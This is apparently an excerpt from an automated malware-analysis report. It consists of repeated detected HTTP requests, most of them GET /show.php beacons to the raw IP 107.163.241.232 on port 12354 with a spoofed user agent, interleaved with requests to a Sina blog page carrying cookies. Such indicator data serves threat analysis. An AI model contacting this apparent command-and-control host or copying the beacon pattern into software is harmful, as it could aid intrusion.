Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
